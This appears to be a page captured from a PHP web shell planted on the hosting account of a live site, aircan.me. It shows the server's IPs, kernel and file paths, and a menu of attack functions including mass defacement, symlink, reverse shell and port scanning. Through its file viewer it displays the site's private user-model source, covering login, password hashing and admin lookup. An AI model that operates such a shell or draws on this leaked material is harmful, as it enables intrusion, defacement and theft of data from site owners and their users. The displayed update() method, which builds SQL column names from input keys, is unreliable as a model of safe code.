Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
app
/
models
/
Viewing: Usuario.php
<?php /** * Modelo Usuario */ class Usuario extends Model { /** * Obtener usuario por email */ public function getByEmail(string $email): array|false { $sql = "SELECT * FROM usuarios WHERE email = :email LIMIT 1"; return $this->fetchOne($sql, ['email' => $email]); } /** * Obtener usuario por ID */ public function getById(int $id): array|false { $sql = "SELECT * FROM usuarios WHERE id = :id LIMIT 1"; return $this->fetchOne($sql, ['id' => $id]); } /** * Obtener el administrador principal activo */ public function getPrimaryAdmin(): array|false { $sql = "SELECT id, nombre, email, rol, estado FROM usuarios WHERE rol = :rol AND estado = :estado ORDER BY id ASC LIMIT 1"; return $this->fetchOne($sql, [ 'rol' => 'admin', 'estado' => 'activo' ]); } /** * Crear un nuevo usuario */ public function create(array $data): string { $sql = "INSERT INTO usuarios (nombre, email, password, rol, estado) VALUES (:nombre, :email, :password, :rol, :estado)"; $this->query($sql, [ 'nombre' => $data['nombre'], 'email' => $data['email'], 'password' => password_hash($data['password'], PASSWORD_DEFAULT), 'rol' => $data['rol'] ?? 'empleado', 'estado' => $data['estado'] ?? 'activo', ]); return $this->lastInsertId(); } /** * Actualizar usuario existente */ public function update(int $id, array $data): bool { if (empty($data)) return false; $fields = []; $params = ['id' => $id]; foreach ($data as $key => $value) { $fields[] = "{$key} = :{$key}"; $params[$key] = $value; } $sql = "UPDATE usuarios SET " . implode(', ', $fields) . " WHERE id = :id"; return (bool)$this->query($sql, $params); } /** * Obtener todos los usuarios */ public function getAll(): array { $sql = "SELECT id, nombre, email, rol, estado, fecha_creacion FROM usuarios ORDER BY id DESC"; return $this->fetchAll($sql); } /** * Verificar credenciales de login */ public function authenticate(string $email, string $password): array|false { $user = $this->getByEmail($email); if (!$user) { return false; } // Verificar que la cuenta esté activa if ($user['estado'] !== 'activo') { return false; } // Verificar contraseña if (!password_verify($password, $user['password'])) { return false; } return $user; } }
Coded With 💗 by
0x6ick